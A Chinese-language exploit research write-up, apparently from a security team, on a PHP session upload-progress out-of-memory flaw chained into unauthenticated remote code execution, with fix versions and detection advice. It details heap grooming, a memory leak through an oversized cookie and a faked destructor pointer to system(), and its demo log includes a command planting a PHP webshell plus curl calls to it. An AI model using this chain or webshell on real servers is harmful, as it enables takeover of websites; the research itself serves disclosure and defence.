本文基于测试环境。文中给出的是机制与验证结果,不含可直接复用的利用参数;
每个构建都需要重新标定。请勿用于未授权目标。
简介
- CVE-2026-109618 / 109619 影响 PHP 5.4.0 – 8.5.11,修复版本:8.2.35 / 8.3.36 / 8.4.27 / 8.5.12
- 漏洞成因:
session.upload_progress 的清理回调里初始化会话,内存耗尽(OOM)跳过了收尾,留下悬空的会话全局量
- 我们在授权环境实测:
- PHP 7.4.33 :完全纯 HTTP 的 RCE(ASLR无效,基址从响应 cookie 自动推导)
- 真实场景:一个只有
index.php 的 7.4 站点,5 个未认证HTTP 请求后页面被改写为 webshell
- 触发前提:
session.upload_progress.enabled=On(默认开启);若要"改文件"还需 webroot 对 web 用户可写
- 注意:
disable_functions 不能防住这类攻击(利用不经过函数表)
1. 用一句人话说漏洞在做什么
PHP 有一个"上传进度"功能:请求里带上PHP_SESSION_UPLOAD_PROGRESS 字段,PHP 就会在
表单解析结束时清理进度,并顺手初始化 session——也就是读 session 文件、必要时写 Set-Cookie。
而"写 Set-Cookie"需要一小块内存(把 session id 做 URL 编码)。
如果攻击者先把整个请求的内存限额吃光,这一步分配就会失败,PHP 会直接跳出请求(bailout)。
问题就在"跳出":正常收尾会清空会话全局量,bailout 不会。 于是 PHP 留下四个坏掉的全局变量:
PS(id) 指向的 session id 字符串 —— 但它的内存已被整体回收
PS(mod_data) 指向的 session 文件句柄 —— 同样悬空
status = active
send_cookie = 1("这个请求要发 cookie")
接下来的所有利用,都是围绕这四个坏变量做文章。
2. 阶段一:让内存"恰好"耗尽
这一步是整条链最需要耐心的部分:OOM 不能早(在解析阶段就爆,状态会被正常清理),也不能晚(请求跑完,状态同样没了),必须精确落在"写 cookie"的那一次分配上。
PHP 处理 multipart 时会为每个字段值分配两份内存(原始字节 + 复制成字符串),所以字段尺寸和数量直接决定内存曲线:
大值字段(每个 15000 字节)→ 每字段约占 32KB
数百个这样的字段 + 一批中小字段 → 刚好顶到 memory_limit
3. 阶段二:把内存读出来
PHP 的字符串在内存里有个"长度"字段,读字符串就是"从内容起点按长度读"。如果我们能让这个长度变大,PHP 就会把后面的内存一起读出来。这里是典型的内存越界行为。
具体做法是堆整形:让一个 231 字节的值恰好落在悬空 session id 字符串前方的槽位,并在值的特定偏移写入 0x4000(16384)——这个数字正好落在 id 字符串的"长度"字段上。
值槽(231B 值) 悬空 id 字符串
┌──────────────────────────────┐ ┌───────────────────────────────┐
│ ... 0x4000(写入的伪造长度) │ ───► │ refcount │ len=0x4000 │ 内容… │
└──────────────────────────────┘ └───────────────────────────────┘
│
└─► PHP 从内容起点读 16KB
结果,响应里的 Set-Cookie 变成一条超长 cookie——里面是 id 之后 16KB 的原始堆内存(url 编码过)。解码后就是一份内存快照。
从这 16KB 里"算出"地址
泄漏内容里有两类指针,正好对应我们要的两个基址:
| 指针类型 |
典型内容 |
推算方式 |
实测命中数 |
| 堆块指针 |
Zend 内存块的地址(2MB 对齐) |
chunk = 指针 & ~0x1FFFFF |
xx 个 |
| 函数指针 |
数组对象的析构函数 zval_ptr_dtor |
libphp = 指针 − 已知偏移(要求页对齐) |
xx 个 |
4. 阶段三、四:从泄漏到命令执行
- 阶段三:再发一个请求,让 PHP 先建立
$_SESSION 数组(内部是一个 reference 指向 HashTable),随后用一个超大字段把内存再次打爆。结果 PS(http_session_vars) 成为一个指向已释放对象的悬空引用,落点非常稳定。
- 阶段四(fire):发一个精心构造的大字段。里面放两样东西:
- 一个伪造的 reference,它的"值指针"指向我们计算好的地址
- 在该地址上伪造一个 HashTable,其中析构函数指针被替换成 PHP 的
system 实现函数地址,并附带伪造的"参数结构",参数就是我们要执行的命令
PHP 在处理请求时会销毁这个悬空引用 → 调用 HashTable 的析构函数 → 实际跳进 system()→ 命令执行。
注意一个细节:这里不经过 PHP 的函数表,所以 disable_functions=system 完全无效。
即使把 exec 家族全部禁用,也只需换一个"有用的函数指针"(例如 PHP 代码求值函数)。
5. 真实场景演示
环境
| 项 |
值 |
| 容器 |
php:7.4-apache(PHP 7.4.33,EOL,官方从未修复此问题) |
| memory_limit |
8M(与该版本已验证配方匹配) |
| worker |
单进程 |
| 站点 |
只有一个 index.php,内容 Hello, this is the demo page. |
| webroot |
对 web 用户可写(现实中常见:应用需要写模板/缓存/上传目录) |
攻击日志(5 个请求,无登录、无文件系统访问)
[1/5] OOM 落在写 cookie 的分配点 → 悬空会话状态
[2/5] chunk 指针 xx 个 / 函数指针 xx 个 ← 全部来自响应 cookie
[3/5] 解析 chunk 基址 + libphp 基址
[4/5] 留下悬空 $_SESSION 引用
[5/5] fire 命令: printf '<?php system($_GET[c]);?>' > /var/www/html/index.php
效果
攻击前: Hello, this is the demo page.
攻击后: 页面被替换为 webshell
$ curl "http://target/index.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://target/index.php?c=uname+-a"
Linux ... x86_64 GNU/Linux
页面内容是持久化的:攻击结束后仍然有效,直到被改回或重装。
6. 看起来简单、做起来很难
这是本次研究最想强调的部分。
6.1 每个版本、每个内存限制都要重新标定
| 版本/限制 |
阶段一参数(量级) |
阶段二关键点 |
| 8.1.34 / 8.2.34 @8M |
大值字段 xxx 个 |
嵌套数组 xxx 个 |
| 7.4.33 @8M |
大值字段 xxx 个 |
嵌套数组 xxx 个 |
| 7.4.29 @16M |
大值字段 xxx 个 |
嵌套 x 个 + 尾部伪造值 xxx 个 |
同一个 7.4.29,只是把内存限制从 8M 改到 16M,字段数量几乎翻倍;而 8M 能用的阶段二配方在 16M 上会直接失效(session id 所在内存页被另一类对象抢走,响应里的 cookie 会变成一个奇怪的值)。
6.2 符号偏移、结构布局也全都要重新提取
同一份 PHP 7.4.29 源码,不同发行版的构建:关键函数偏移能差 1MB;二进制还要靠"函数名表"反查。字段偏移、allocator 布局同样会变。
6.3 真实设备还有三个额外门槛
| 门槛 |
现象 |
我们的处置 |
| 多 worker |
请求飘到别的子进程,拿不到悬空状态 |
keep-alive 单连接钉住同一个 worker;心跳必须用静态资源(PHP 心跳会清状态) |
| 必须"干净 worker" |
只要跑过一次 PHP,状态就没了 |
重启服务,等待未执行过 PHP 的子进程 |
7. 与公开研究的关系
2026 年 10 月社区公开了同批 CVE 的 5 条利用链(A–E),其中 D 链就是本文这条 OOM 链,且只对付费订阅开放。
公开的"版本感知"工具链里,7.4 分支的堆标定是空的(rce=False、"heap not calibrated")。
本次工作独立复现了 D 链,并把 7.4 在 8M下都打通,同时补齐了多 worker、真实设备与工具链。
8. 防御建议
| 措施 |
有效性 |
| 升级到 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 |
✅ 根治(7.4/8.0/8.1 已 EOL,只能升大版本) |
关闭 session.upload_progress(业务不需要时) |
✅ 直接消除触发点 |
| webroot 只读、上传目录单独挂载并禁止执行 |
✅ 阻断"改页面/写 webshell"这类后果 |
| 低权限运行、只读文件系统、seccomp/AppArmor |
⚠️ 缩小执行后的影响面 |
disable_functions 禁 system/passthru/exec… |
❌ 无效(可绕过函数表直接跳地址) |
| 降低 memory_limit |
❌ 无效(配方按新限额重算即可) |
检测思路
- 同一连接上出现"内存耗尽响应 → 紧接着的第二个请求"这种组合
- 响应里出现异常超长的
Set-Cookie(几 KB 到几十 KB,正常 session id 只有 32 字节)
- multipart 请求包含大量等长字段(几百个同尺寸字段)——但与正常表单仍可能混淆
- 这些信号只在极短时间窗内存在,单条规则很难覆盖,建议结合"异常长度 + 短时间连续请求"做关联
9. 结语
这类漏洞的难度不在"理解",而在"标定":
同一个 CVE,四个版本四套参数;同一个版本换内存限制又要重来;
真实环境还有 worker、SAPI、权限三道门。"写一个通用脚本"是不可能的,
能做的是把方法论工程化:预算模型、状态判据、堆快照、参数搜索——这也是本次研究留下的最有价值的东西。
本文所有测试均在授权环境进行。请勿用于未授权目标。